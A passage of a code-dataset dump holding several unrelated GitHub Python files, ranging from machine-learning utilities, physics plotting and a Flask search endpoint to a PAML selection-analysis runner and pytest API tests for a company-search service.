np.sum(differences**2) + 0.5 * lam * np.sum(theta**2)\n\n def gradient(theta):\n differences = np.multiply((np.dot(features, theta.T) - ratings), mask)\n return np.dot(features.T, differences) + lam * theta\n\n theta = fmin_cg(f=optimization_target, x0=theta0, fprime=gradient)\n\n return theta\n\n\ndef normalized_fit(y, *args):\n means = np.nanmean(y, axis=1)\n y = y - means.reshape(-1, 1)\n\n r = -(np.isnan(y).astype(int) - 1)\n y = np.nan_to_num(y)\n\n x, theta = simple_fit(y, r, *args)\n\n return x, theta, means\n\n\ndef get_score(user, item, x, theta, means=None):\n offset = 0 if means is None else means[item]\n\n user_theta = theta[user]\n item_x = x[item]\n\n return np.dot(user_theta.T, item_x) + offset\n","repo_name":"eltrufas/Sistemas-recomendacion","sub_path":"regression_model.py","file_name":"regression_model.py","file_ext":"py","file_size_in_byte":2702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"26188579597","text":"from pylab import *\n\ndef calcular_campo(x, y, q, malla_X, malla_Y):\n\t\"\"\"Calcular campo de una carga q ubicada en (x,y),\n\ten la malla (malla_X, malla_Y)\n\t\"\"\"\n\t\n\t#desp = array([X-x, Y-y])\n\tdesp_x = malla_X - x # cpte x del desplazamiento de cada punto de la malla\n\tdesp_y = malla_Y - y # cpte x del desplazamiento de cada punto de la malla\n\t\n\tR = sqrt(desp_x*desp_x + desp_y*desp_y)\n\t\n\tEx = q * desp_x / (R**3)\n\tEy = q * desp_y / (R**3)\n\t\n\tV = q / R\n\t\n\t#distancia = sqrt(dot(desp, desp))\n\t#E = q * desp / (distancia**3)\n\t\n\treturn (Ex, Ey, V)\n\t\n\t\ndef teclado(evento):\n\tif evento.key == \"q\":\n\t\tcargacarga = raw_input(\"Dame la carga: \")\n\na = linspace(-5, 5, 21)\nb = linspace(-5, 5, 21)\n\nX,Y = meshgrid(a, b)\n\nx, y = 1.5, 0.5\n\ncargas = [ [1.5, 1.5, 1], [-1.5, -1.5, -1] ]\n\nEx_total = zeros( X.shape, dtype='float')\nEy_total = zeros( X.shape, dtype='float')\nV_total = zeros( X.shape, dtype='float')\n\nfor carga in cargas:\n\tx, y, q = carga\n\t\n\tEx, Ey, V = calcular_campo(x, y, q, X, Y)\n\t\n\tEx_total += Ex\n\tEy_total += Ey\n\tV_total += V\n\n\nnorm = sqrt(Ex_total*Ex_total + Ey_total*Ey_total)\nEx_total /= norm\nEy_total /= norm\n\n#Ex = where(Ex < 1, Ex, 1)\n#Ey = where(Ey < 1, Ey, 1)\t\n\nquiver(X, Y, Ex_total, Ey_total, norm, pivot='middle')\n\nconnect('key_press_event', teclado)\n\nshow()\n","repo_name":"dpsanders/curso-python","sub_path":"progs/2010-06-09/campos.py","file_name":"campos.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"es","doc_type":"code","stars":8,"dataset":"github-code","pt":"5"} +{"seq_id":"28331678297","text":"\"\"\"\n\nMemory stores game data and provides means work with it\n\n\"\"\"\n\nimport numpy as np\nimport random\n\n\nclass MemoryD:\n\n #: N x 84 x 84 matrix, where N is the number of game steps we want to keep\n screens = None\n \n #: list of size N, stores actions agent took\n actions = None\n \n #: list of size N, stores rewards agent received upon doing an action\n rewards = None\n\n #: list of size N, stores game internal time\n time = None\n\n #: global index counter\n count = None\n\n def __init__(self, n):\n \"\"\"\n Initialize memory structure \n :type self: object\n @param n: the number of game steps we need to store\n \"\"\"\n self.screens = np.zeros((n, 84, 84), dtype=np.uint8)\n self.actions = np.zeros((n,), dtype=np.uint8)\n self.rewards = np.zeros((n,), dtype=np.uint8)\n self.time = np.zeros((n,), dtype=np.uint32)\n self.count = -1\n\n def add_first(self, next_screen):\n \"\"\"\n When a new game start we add initial game screen to the memory\n @param next_screen: 84 x 84 np.uint8 matrix\n \"\"\"\n self.screens[self.count + 1] = next_screen\n self.time[self.count + 1] = 0\n self.count += 1\n\n def add(self, action, reward, next_screen):\n \"\"\"\n During the game we add few thing to memory\n @param action: the action agent decided to do\n @param reward: the reward agent received for his action\n @param next_screen: next screen of the game\n \"\"\"\n self.actions[self.count] = action\n self.rewards[self.count] = reward\n self.time[self.count + 1] = self.time[self.count] + 1\n self.screens[self.count + 1] = next_screen\n self.count += 1\n\n def add_last(self):\n \"\"\"\n When the game ends we fill memory for the current screen with corresponding\n values. It is useful to think that at this time moment agent is looking at\n \"Game Over\" screen\n \"\"\"\n self.actions[self.count] = 100\n self.rewards[self.count] = 100\n\n def get_minibatch(self, size):\n \"\"\"\n Take n Transitions from the memory.\n One transition includes (state, action, reward, state)\n @param size: size of the minibatch (in our case it should be 32)\n \"\"\"\n\n transitions = []\n\n #: Pick random n indices and save dictionary if not terminal state\n while len(transitions) < size:\n i = random.randint(0, self.count - 1)\n if self.actions[i] != 100:\n transitions.append({'prestate': self.get_state(i),\n 'action': self.actions[i],\n 'reward': self.rewards[i],\n 'poststate': self.get_state(i + 1)})\n\n return transitions\n\n def get_state(self, index):\n \"\"\"\n Extract one state (4 images) given last image position\n @param index: global location of the 4th image in the memory\n \"\"\"\n\n #: We always need 4 images to compose one state. In the beginning of the\n # game (at time moments 0, 1, 2) we do not have enough images in the memory\n # for this particular game. So we came up with an ugly hack: duplicate the\n # first available image as many times as needed to fill missing ones.\n pad_screens = 3 - self.time[index]\n if pad_screens > 0:\n\n state = []\n\n #: Pad missing images with the first image\n for p in range(pad_screens):\n state.append(self.screens[index - 3 + pad_screens])\n\n #: Fill the rest of the images as they are\n for p in range(pad_screens, 4):\n state.append(self.screens[index - (4 - p - 1)])\n\n else:\n state = self.screens[index - 3:index + 1]\n\n return state\n\n def get_last_state(self):\n \"\"\"\n Get last 4 images from the memory. Those images will go as an input for\n the neural network\n \"\"\"\n return self.get_state(self.count)","repo_name":"amoliu/Replicating-DeepMind","sub_path":"src/memory/memoryd.py","file_name":"memoryd.py","file_ext":"py","file_size_in_byte":4056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"5"} +{"seq_id":"38981286167","text":"from .db import db, environment, SCHEMA, add_prefix_for_prod\n\n\nclass MedicalSpecialty(db.Model):\n __tablename__ = 'medical_specialties'\n\n if environment == \"production\":\n __table_args__ = {\"schema\": SCHEMA}\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(100), nullable=False)\n description = db.Column(db.String)\n\n # RELATIONSHIPS\n\n physicians = db.relationship(\"Physician\", back_populates=\"medical_specialty\")\n\n # METHODS\n\n def to_dict(self):\n return {\n \"id\": self.id,\n \"name\": self.name,\n \"description\": self.description,\n \"physicians\": [physician.to_dict_simple() for physician in self.physicians]\n }\n \n def to_dict_simple(self):\n return {\n \"id\": self.id,\n \"name\": self.name,\n \"description\": self.description\n }\n\n","repo_name":"cleggie66/myCare","sub_path":"app/models/medical_specialties.py","file_name":"medical_specialties.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"70794900632","text":"from google.cloud import datastore\ndatastore_client = datastore.Client()\n\ndef hello_world(request):\n \"\"\"Responds to any HTTP request.\n Args:\n request (flask.Request): HTTP request object.\n Returns:\n The response text or any set of values...\n \"\"\"\n gender=\"\"\n query = datastore_client.query(kind='MasterData')\n request_json = request.get_json()\n\n if request_json and 'Occasion' in request_json:\n ocassion = request_json['Occasion']\n ocassion = ocassion.lower()\n query.add_filter('ocassion', '=', ocassion)\n else:\n return f'Data not found'\n\n request_json = request.get_json()\n if request_json and 'Demographics' in request_json:\n Demographics = request_json['Demographics']\n if 'gender' in 'Demographics':\n gender = Demographics['gender']\n gender = gender.lower()\n query.add_filter('gender', '=', gender)\n\n if request_json and 'color' in request_json:\n color = request_json['color']\n color = color.lower()\n query.add_filter('color', '=', color)\n\n if request_json and 'material' in request_json:\n material = request_json['material']\n material = material.lower()\n query.add_filter('material', '=', material)\n\n if request_json and 'pattern' in request_json:\n pattern = request_json['pattern']\n pattern = pattern.lower()\n query.add_filter('pattern', '=', pattern)\n\n results = query.fetch()\n l=list()\n for result in results:\n l.append(result['product_ID'])\n result=str(l)\n\n return result\n","repo_name":"rks1402/StyleMe-Gen-AI-App","sub_path":"API/get_product_by_ocassion_and_demographics/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"35379429881","text":"import pandas as pd\nimport collections\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom collections import OrderedDict\n\nfrom src.NLP_PRE_TRAINED_MODEL.transfer_learning import transfer_l\n\ndef single_conversation(csv, delete = None):\n b = []\n for index, row in csv.iterrows():\n intnt,confidence,time,channel,user,session,query,response = csv.iloc[index]\n list_index = np.asarray(np.where((csv.user == user) & (csv.session == session)))[0]\n b.append(list_index)\n b = list(map(list, OrderedDict.fromkeys(map(tuple, b)).keys()))\n if delete == 'yes':\n i = [w for w in b if len(w) < 3 or len(w) > 15]\n z = [j for s in i for j in s]\n c = list(set(z))\n for l in c:\n csv.drop(l, inplace=True)\n csv.reset_index(drop=True)\n return csv, b\n\ndef run(conversation_dir, type_embedding, perc_train, path):\n csv = pd.read_csv(conversation_dir)\n labels = csv['intent'].tolist()\n clases = sorted(set(labels), key=labels.index)\n csv = csv[csv.intent.isin(csv.intent.value_counts().tail(len(clases) + 1).index)].copy() # select 8 low dimensional categories\n map_label = dict(enumerate(csv.intent.factorize()[1]))\n csv['intent'] = csv.intent.factorize()[0]\n csv, b = single_conversation(csv, delete = None)\n transfer_l(type_embedding, perc_train, csv, b, path)\n \n","repo_name":"jeanfranc0/WAVY-GLOBAL","sub_path":"INTENT_WITH_CONTEXT/src/utils/load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"16775624000","text":"from ultralytics import YOLO, RTDETR\nfrom typing import Union, List\n\n\ndef freeze_layer(trainer, num_freeze: int):\n \"\"\"\n Функция заморозки всех слоев модели, кроме num_freeze последних\n \"\"\"\n model = trainer.model\n freeze = [f'model.{x}.' for x in range(num_freeze)]\n for k, v in model.named_parameters():\n v.requires_grad = True\n if any(x in k for x in freeze):\n print(f'freezing {k}')\n v.requires_grad = False\n\n\ndef wandb_logger():\n \"\"\"\n Тут должен быть локальный запуск wandb\n \"\"\"\n pass\n\n\ndef train(\n model: Union[YOLO, RTDETR],\n path_to_config: str,\n device: Union[str, List[int]],\n logging_type: str = 'wandb',\n is_freeze: bool = False,\n num_freeze: int = 10,\n epochs: int = 10,\n batch_size: int = -1\n):\n if logging_type == 'wandb':\n wandb_logger()\n\n elif logging_type not in ['wandb', 'None']:\n raise NotImplementedError(f\"{logging_type} if not implemented yet. Supported types: ['wandb', 'None'].\")\n\n if is_freeze:\n assert num_freeze > 0, \"Num layers for freezing must be more than zero.\"\n model.add_callback(\"on_train_start\", freeze_layer)\n\n model.train(\n data=path_to_config,\n epochs=epochs,\n device=device,\n batch=batch_size,\n imgsz=640,\n resume=True,\n seed=42\n ) # resume=True для возобновления обучения с последними сохраненными состояниями оптимизатора и модели\n","repo_name":"mireaMegaman/perm_hack","sub_path":"BackEnd/ml/sochi_ml/active_learning.py","file_name":"active_learning.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"4795830145","text":"from flask import Flask, request, abort\nfrom flask_cors import CORS, cross_origin\nfrom src.setting.config import Config\nfrom handle import handle, load_database\nimport time\n\napp = Flask(__name__)\napp.config['JSON_AS_ASCII'] = False\n\nCORS(app)\napp.config['CORS_HEADERS'] = 'Content-Type'\n\n@app.route('/app', methods=['POST'])\n@cross_origin(origin='*')\ndef get_query():\n if request.method == 'POST':\n key = request.form.get('key')\n data = request.form.get('data')\n model = request.form.get('model')\n if data == 'BIM':\n if model == 'corpus':\n types = '1'\n elif model == 'cranfield':\n types = '2'\n elif data == 'VSM':\n if model == 'corpus':\n types = '3'\n elif model == 'cranfield':\n types = '4'\n results = handle(key, database, types)\n return results\n abort(403)\n\nif __name__ == '__main__':\n HOST = Config.host\n PORT = Config.port\n start_time = time.time()\n database = load_database()\n end_time = time.time()\n print(f'INFO: Time loading {round(end_time-start_time,2)}s')\n app.run(host=HOST, port=PORT, debug=False)","repo_name":"Master2k0/search_engine","sub_path":"backend/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"38501635053","text":"from Bio.Phylo.PAML import codeml\nimport os\nimport sys\nimport shutil\n\nalignmentfile = sys.argv[1]\nfilename=os.path.basename(alignmentfile)\ngenename=filename.split('.')[0]\n\n# estimate global dN/dS\nworking_directory=\"/projectnb/mullenl/data/eel_positive_selection/step8_paml/\"+genename\nif not os.path.exists(working_directory):\n\tos.makedirs(working_directory)\ncml = codeml.Codeml(alignment=alignmentfile, \n\ttree=\"/projectnb/mullenl/data/eel_positive_selection/resources/tree/speciestree.phy\", \n\tout_file=\"/projectnb/mullenl/data/eel_positive_selection/step8_paml/\"+genename+\".eel.global.codon\",\n\tworking_dir=working_directory\n\t)\ncml.set_options(\n\tverbose = True, \n\tNSsites=\"0\", \n\tmodel=0, \n\tseqtype=1,\n\t)\ncml.ctl_file=\"/projectnb/mullenl/data/eel_positive_selection/step8_paml/\"+genename+\".eel.global.ctl\"\ntry:\n\tglobalres=cml.run()\nexcept:\n\tres= None\n\nif not os.path.exists(working_directory):\n\tos.makedirs(working_directory)\n# estimate branch dN/dS\ncml = codeml.Codeml(alignment=alignmentfile, \n\ttree=\"/projectnb/mullenl/data/eel_positive_selection/resources/tree/speciestree.phy\", \n\tout_file=\"/projectnb/mullenl/data/eel_positive_selection/step8_paml/\"+genename+\".eel.branch.codon\",\n\tworking_dir=working_directory)\ncml.set_options(\n\tverbose = True, \n\tNSsites=\"0\", \n\tmodel=2, \n\tseqtype=1,\n\t)\ncml.ctl_file=\"/projectnb/mullenl/data/eel_positive_selection/step8_paml/\"+genename+\".eel.branch.ctl\"\ntry:\n\tbranchres=cml.run()\nexcept:\n\tbranchres= None\n\n# estimate null\nif not os.path.exists(working_directory):\n\tos.makedirs(working_directory)\ncml = codeml.Codeml(alignment=alignmentfile, \n\ttree=\"/projectnb/mullenl/data/eel_positive_selection/resources/tree/speciestree.phy\", \n\tout_file=\"/projectnb/mullenl/data/eel_positive_selection/step8_paml/\"+genename+\".eel.null.codon\",\n\tworking_dir=working_directory)\ncml.set_options(\n\tverbose = True, \n\tNSsites=\"0\", \n\tmodel=2, \n\tseqtype=1,\n\tfix_omega =1,\n\tomega =1\n\t)\ncml.ctl_file=\"/projectnb/mullenl/data/eel_positive_selection/step8_paml/\"+genename+\".eel.null.ctl\"\ntry:\n\tnullres=cml.run()\nexcept:\n\tnullres= None\n\n\n#calculate degrees of freedom (n params)\na=globalres['NSsites'][0][\"parameters\"][\"parameter list\"].split(\" \")\nglobal_df=len(a)\n#return dn/dS ratios (two for branch model)\nglobal_omega=globalres['NSsites'][0][\"parameters\"][\"omega\"]\n#return kappa\nglobal_kappa=globalres['NSsites'][0][\"parameters\"][\"kappa\"]\n#return lnL\nglobal_lnL=globalres['NSsites'][0][\"lnL\"]\n\n#calculate degrees of freedom (n params)\nb=branchres['NSsites'][0][\"parameters\"][\"parameter list\"].split(\" \")\nbranch_df=len(b)\n#return dn/dS ratios (two for branch model)\nbranch_omega=branchres['NSsites'][0][\"parameters\"][\"omega\"]\n#return kappa\nbranch_kappa=branchres['NSsites'][0][\"parameters\"][\"kappa\"]\n#return lnL\nbranch_lnL=branchres['NSsites'][0][\"lnL\"]\n\n#calculate degrees of freedom (n params)\nc=nullres['NSsites'][0][\"parameters\"][\"parameter list\"].split(\" \")\nnull_df=len(c)\n#return dn/dS ratios (two for branch model)\nnull_omega=nullres['NSsites'][0][\"parameters\"][\"omega\"]\n#return kappa\nnull_kappa=nullres['NSsites'][0][\"parameters\"][\"kappa\"]\n#return lnL\nnull_lnL=nullres['NSsites'][0][\"lnL\"]\n\n\nteststat_for_eel=2*(branch_lnL-global_lnL)\ntestdf_for_eel=(branch_df-global_df)\n# test_pval_for_eel=cdf_chi2(testdf_for_eel,teststat_for_eel)\n\nteststat_for_pos=2*(branch_lnL-null_lnL)\ntestdf_for_pos=(branch_df-null_df)\n# test_pval_for_pos=cdf_chi2(testdf_for_pos,teststat_for_pos)\n\n\n#print the results file\n\noutfilename=genename+\"_pamlresults.txt\"\nwith open(outfilename, \"a\") as myfile:\n\tmyfile.write('%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\n' %(global_df,global_omega,global_kappa,global_lnL,branch_df,branch_omega[0],branch_omega[1],branch_kappa,branch_lnL,null_df,null_omega[0],null_omega[1],null_kappa,null_lnL,teststat_for_eel,testdf_for_eel,teststat_for_pos,testdf_for_pos))\n\n#and clean up.\nshutil.rmtree(working_directory)\n","repo_name":"jasongallant/positive-selection","sub_path":"runpaml_eel.py","file_name":"runpaml_eel.py","file_ext":"py","file_size_in_byte":3875,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"22467276735","text":"# coding utf8\nimport pytest\nimport requests\nimport linecache\nimport logging\nimport global_data\n\nlogging.basicConfig(level=logging.INFO)\n\nbaseUrl = global_data.baseUrl\ncompany_search = global_data.companysearch\nurl = baseUrl + company_search\ncompanydetail_url = baseUrl + global_data.companydetailurl\n\nkey = global_data.key\nsubscriptionid = global_data.subscriptionid\norgid = global_data.orgid\nContentType = global_data.ContentType\nlicensetype = global_data.licensetype\nadminUserId = global_data.adminUserId\ncompanyId1 = global_data.COMPANYID1\n\n\nheader = {\n 'x-api-key': key,\n 'subscriptionid': subscriptionid,\n 'orgid': orgid,\n 'licensetype' : licensetype,\n 'userid' : adminUserId,\n 'Content-Type': ContentType\n}\n\n# Read data from file\nline = linecache.getline('./datasource/contact_info.csv', 2)\nsearch_info = line.split(',')\ncompany = search_info[2]\nwebsite = search_info[3]\ncity = search_info[5]\nstate = search_info[6]\ncountry = search_info[7]\nregion = search_info[8]\nindustry = search_info[12]\nsubIndustry = search_info[13]\nproduct = search_info[14]\nproductParentCategory = search_info[15]\nproductCategory = search_info[16]\n\nglobal companyIds_name, companyIds_website, companyIds_industry, companyIds_subIndustry, companyIds_product, company_set\ncompany_ids = []\ncompanyIds_website = []\ncompanyIds_industry = []\ncompanyIds_subIndustry = []\ncompanyIds_product = []\ncompany_set = set()\n\n# Read companyName from file\nline2 = linecache.getline('./datasource/companyHQ_info.csv', 2)\nsearch_list = line2.split(',')\ncompany_name = search_list[0]\nkey_word = company_name.split(' ')[0]\nhq_city = search_list[2]\nhq_state = search_list[3]\nhq_country = search_list[4]\nhq_region = search_list[5]\nhq_address = search_list[6]\nhq_phone = search_list[7]\nhq_website = search_list[8].strip()\n\n\n@pytest.mark.companysearch\ndef test_companysearchbycompany():\n \"\"\"Search companyName\"\"\"\n param = {\"companyName\": company_name, \"includeDownloaded\": \"true\"}\n logging.info(\"Search company by name: %s\" % company_name)\n r = requests.get(url, params=param, headers=header)\n assert r.status_code == 200\n resp = r.json()\n global comp_num\n comp_num = len(resp)\n for i in range(0, len(resp)):\n #logging.info(\" Expected: %s vs Output: %s \" % (key_word, resp[i][\"companyName\"]))\n assert key_word in resp[i][\"companyName\"]\n company_ids.append(resp[i][\"companyId\"])\n\n\n@pytest.mark.companysearch\ndef test_companysearchbycompanyhq():\n \"\"\"Search companyName onlyHQ\"\"\"\n param = {\"companyName\": company_name, \"onlyHQ\": \"true\", \"includeDownloaded\": \"true\"}\n logging.info(\"Search company by name onlyHQ: %s\" % company_name)\n r = requests.get(url, params=param, headers=header)\n print(r) \n assert r.status_code == 200\n resp = r.json()\n hq_num = len(resp)\n for i in range(0, hq_num):\n company_set.add(resp[i][\"companyName\"])\n assert key_word in resp[i][\"companyName\"]\n if resp[i][\"companyName\"] == company_name:\n #assert resp[i][\"city\"] == hq_city and resp[i][\"state\"] == hq_state and resp[i][\"country\"] == hq_country and resp[i][\"region\"] == hq_region and resp[i][\"websiteExactName\"] == hq_website\n assert resp[i][\"city\"] == hq_city\n assert len(company_set) == hq_num\n\n\n@pytest.mark.companysearch\ndef test_companydetailssearch():\n \"\"\"Search contact details by companyName\"\"\"\n companyIds = company_ids[0] + \",\" + company_ids[1] + \",\" + company_ids[2]\n search_companyId = companyIds.split(',')\n param = {\"companyIds\": companyIds}\n logging.info(\"Search company details by company name: %s\" % companyIds)\n r = requests.get(companydetail_url, params=param, headers=header)\n assert r.status_code == 200\n resp = r.json()\n assert len(resp) == len(search_companyId)\n for i in range(0, len(resp)):\n assert resp[i][\"companyName\"] == company_name and resp[i][\"companyId\"] in search_companyId\n\n\n@pytest.mark.companysearch\ndef test_companysearchbywebsite():\n \"\"\"Search website\"\"\"\n param = {\"website\": website, \"includeDownloaded\": \"true\"}\n logging.info(\"Search company by website: %s\" % website)\n r = requests.get(url, params=param, headers=header)\n assert r.status_code == 200\n resp = r.json()\n for i in range(0, len(resp)):\n assert resp[i][\"websiteExactName\"].split('.')[1] in company.lower()\n companyIds_website.append(resp[i][\"companyId\"])\n\n\n@pytest.mark.companysearch\ndef test_companydetailswebsite():\n \"\"\"Search company details by website\"\"\"\n companyIds = companyIds_website[0] + ',' + companyIds_website[1] + ',' + companyIds_website[2]\n logging.info(\"Search company details by website: %s\" % companyIds)\n param = {\"companyIds\": companyIds}\n r = requests.get(companydetail_url, params=param, headers=header)\n assert r.status_code == 200\n resp = r.json()\n\n for i in range(0, len(resp)):\n # print(r.content) \n # print(resp[i][\"productInstalledExactName\"])\n #assert resp[i][\"urlExactName\"].rsplit('/', 1)[-1] in company.lower() and resp[i][\"productInstalledExactName\"] is not None\n assert resp[i][\"urlExactName\"].rsplit('/', 1)[-1] in company.lower() \n \n@pytest.mark.companysearch\ndef test_companysearchbyindustry():\n \"\"\"Search industry\"\"\"\n param = {\"industry\": industry}\n logging.info(\"Search company by industry: %s\" % industry)\n r = requests.get(url, params=param, headers=header)\n assert r.status_code == 200\n resp = r.json()\n for i in range(0, len(resp)):\n companyIds_industry.append(resp[i][\"companyId\"])\n\n\n@pytest.mark.companysearch\ndef test_companydetailsindustry():\n \"\"\"Search company details by industry\"\"\"\n companyIds = companyIds_industry[0] + ',' + companyIds_industry[1]\n logging.info(\"Search company details by industry: %s\" % companyIds)\n param = {\"companyIds\": companyIds}\n r = requests.get(companydetail_url, params=param, headers=header)\n assert r.status_code == 200\n resp = r.json()\n for i in range(0, len(resp)):\n #assert resp[i][\"industry\"] == industry and resp[i][\"productInstalledExactName\"] is not None\n assert resp[i][\"industry\"] == industry \n\n@pytest.mark.companysearch\ndef test_companysearchbysubIndustry():\n \"\"\"Search subIndustry\"\"\"\n param = {\"subIndustry\": subIndustry}\n logging.info(\"Search company by subIndustry: %s\" % subIndustry)\n r = requests.get(url, params=param, headers=header)\n assert r.status_code == 200\n resp = r.json()\n for i in range(0, len(resp)):\n companyIds_subIndustry.append(resp[i][\"companyId\"])\n\n\n@pytest.mark.companysearch\ndef test_companydetailssubIndustry():\n \"\"\"Search company details by subIndustry\"\"\"\n companyIds = companyIds_subIndustry[0]\n logging.info(\"Search company details by subIndustry: %s\" % companyIds)\n param = {\"companyIds\": companyIds}\n r = requests.get(companydetail_url, params=param, headers=header)\n assert r.status_code == 200\n resp = r.json()\n for i in range(0, len(resp)):\n #assert resp[i][\"subIndustry\"] == subIndustry and resp[i][\"productInstalledExactName\"] is not None\n assert resp[i][\"subIndustry\"] == subIndustry \n\n@pytest.mark.companysearch\ndef test_companysearchbycity():\n \"\"\"Search city\"\"\"\n param = {\"city\": city}\n logging.info(\"Search company by city: %s\" % city)\n r = requests.get(url, params=param, headers=header)\n assert r.status_code == 200\n resp = r.json()\n for i in range(0, len(resp)):\n assert resp[i][\"city\"] == city\n\n\n@pytest.mark.companysearch\ndef test_companysearchbystate():\n \"\"\"Search state\"\"\"\n param = {\"state\": state}\n logging.info(\"Search company by state: %s\" % state)\n r = requests.get(url, params=param, headers=header)\n assert r.status_code == 200\n resp = r.json()\n for i in range(0, len(resp)):\n assert resp[i][\"state\"] == state\n\n\n@pytest.mark.companysearch\ndef test_companysearchbycountry():\n \"\"\"Search country\"\"\"\n param = {\"country\": country}\n logging.info(\"Search company by country: %s\" % country)\n r = requests.get(url, params=param, headers=header)\n assert r.status_code == 200\n resp = r.json()\n for i in range(0, len(resp)):\n assert resp[i][\"country\"] == country\n\n\n@pytest.mark.companysearch\ndef test_companysearchbyregion():\n \"\"\"Search region\"\"\"\n param = {\"region\": region}\n # print(region)\n logging.info(\"Search company by region: %s\" % region)\n r = requests.get(url, params=param, headers=header)\n assert r.status_code == 200\n resp = r.json()\n for i in range(0, len(resp)):\n region2=resp[i][\"region\"].lower()\n region1=region.lower()\n assert region2==region1\n\n\n@pytest.mark.companysearch\ndef test_companysearchbyproduct():\n \"\"\"Search product\"\"\"\n param = {\"product\": product}\n logging.info(\"Search company by product: %s\" % product)\n r = requests.get(url, params=param, headers=header)\n assert r.status_code == 200\n resp = r.json()\n for i in range(0, len(resp)):\n companyIds_product.append(resp[i][\"companyId\"])\n\n\n@pytest.mark.companysearch\ndef test_companydetailsproduct():\n \"\"\"Search company details by product\"\"\"\n companyIds = companyId1\n logging.info(\"Search company details by product: %s\" % companyIds)\n param = {\"companyIds\": companyIds}\n r = requests.get(companydetail_url, params=param, headers=header)\n assert r.status_code == 200\n resp = r.json()\n for i in range(0, len(resp)):\n #assert product in resp[i][\"productInstalledExactName\"] and resp[i][\"companyTypeExactName\"] is not None\n #assert product in resp[i][\"companyTypeExactName\"] \n assert r.status_code == 200\n \n@pytest.mark.companysearch\ndef test_companysearchbyproductParentCategory():\n \"\"\"Search productParentCategory\"\"\"\n param = {\"productParentCategory\": productParentCategory}\n logging.info(\"Search company by productParentCategory: %s\" % productParentCategory)\n r = requests.get(url, params=param, headers=header)\n assert r.status_code == 200\n\n\n@pytest.mark.companysearch\ndef test_companysearchbyproductCategory():\n \"\"\"Search productCategory\"\"\"\n param = {\"productCategory\": productCategory}\n logging.info(\"Search company by productCategory: %s\" % productCategory)\n r = requests.get(url, params=param, headers=header)\n assert r.status_code == 200\n\n\n@pytest.mark.companysearch\ndef test_companysearchbyall():\n \"\"\"Search companyName, product, region, country, state, city, industry, subIndustry, website\"\"\"\n param = {\"companyName\": company,\n \"product\": product,\n \"region\": region,\n \"country\": country,\n \"state\": state,\n \"city\": city,\n \"industry\": industry,\n \"subIndustry\": subIndustry,\n \"website\": website\n }\n logging.info(\"Search company by companyName: %s, product: %s, region: %s, country: %s, state: %s, city: %s, \"\n \"industry: %s, subIndustry: %s, website: %s\" % (company, product, region, country, state, city,\n industry, subIndustry, website))\n r = requests.get(url, params=param, headers=header)\n assert r.status_code == 200\n resp = r.json()\n global companyId\n companyId = resp[0][\"companyId\"]\n assert resp[0][\"companyName\"] == company and resp[0][\"region\"].lower() == region.lower() and resp[0][\"country\"] == country \\\n and resp[0][\"state\"] == state and resp[0][\"city\"] == city and resp[0][\"websiteExactName\"].rsplit('.')[1] in company.lower()\n\n\n@pytest.mark.companysearch\ndef test_companysearchlimitsize():\n \"\"\"Limit search result size by using resultSize\"\"\"\n size = 8\n param = {\"country\": country, \"resultSize\": size}\n logging.info(\"Search company by country and limited by resultSize: %s\" % size)\n r = requests.get(url, params=param, headers=header)\n assert r.status_code == 200 and len(r.json()) == size\n\n\n@pytest.mark.companysearch\ndef test_companysearchlimitzerosize():\n \"\"\"Limit search result size by using 0 resultSize\"\"\"\n size = 0\n param = {\"country\": country, \"resultSize\": size}\n logging.info(\"Search company by country and limited by resultSize: %s\" % size)\n r = requests.get(url, params=param, headers=header)\n assert r.status_code == 404 and r.json()[\"message\"] == \"No Data Found\"\n\n\n@pytest.mark.companysearch\ndef test_companysearchinvalidlimitsize():\n \"\"\"Limit search result size by using invalid resultSize\"\"\"\n size = \"two\"\n param = {\"country\": country, \"resultSize\": size}\n logging.info(\"Search company by country and limited by using invalid resultSize: %s\" % size)\n r = requests.get(url, params=param, headers=header)\n assert r.status_code == 206 and r.json()[\"message\"] == \"Invalid attribute name or invalid attribute case\"\n\n\n@pytest.mark.companysearch\ndef test_companysearchminusonelimitsize():\n \"\"\"Limit search result size by using -1 resultSize\"\"\"\n size = -1\n param = {\"country\": country, \"resultSize\": size}\n logging.info(\"Search company by country and limited by using -1 as resultSize: %s\" % size)\n r = requests.get(url, params=param, headers=header)\n assert r.status_code >= 200 and len(r.json()) == 1\n\n\n@pytest.mark.companysearch\ndef test_companysearchminusnumlimitsize():\n \"\"\"Limit search result size by using -12 resultSize\"\"\"\n size = -12\n param = {\"country\": country, \"resultSize\": size}\n logging.info(\"Search company by country and limited by using -12 resultSize: %s\" % size)\n r = requests.get(url, params=param, headers=header)\n assert r.status_code >= 200 and len(r.json()) == 1\n\n\n@pytest.mark.companysearch\ndef test_companysearchbycompanycomma():\n \"\"\"Search company by companyName which includes comma\"\"\"\n global companyname\n companyname = global_data.COMPANYNAME\n param = {\"companyName\": companyname}\n print(companyname)\n logging.info(\"Search company by company name which includes comma: %s\" % companyname)\n r = requests.get(url, params=param, headers=header)\n assert r.status_code == 200\n resp = r.json()\n for i in range(0, len(resp)):\n assert resp[i][\"companyName\"] in companyname\n company_ids.append(resp[i][\"companyId\"])\n\n\n@pytest.mark.companysearch\ndef test_companydetailssearchnamecomma():\n \"\"\"Search contact details by companyName which includes 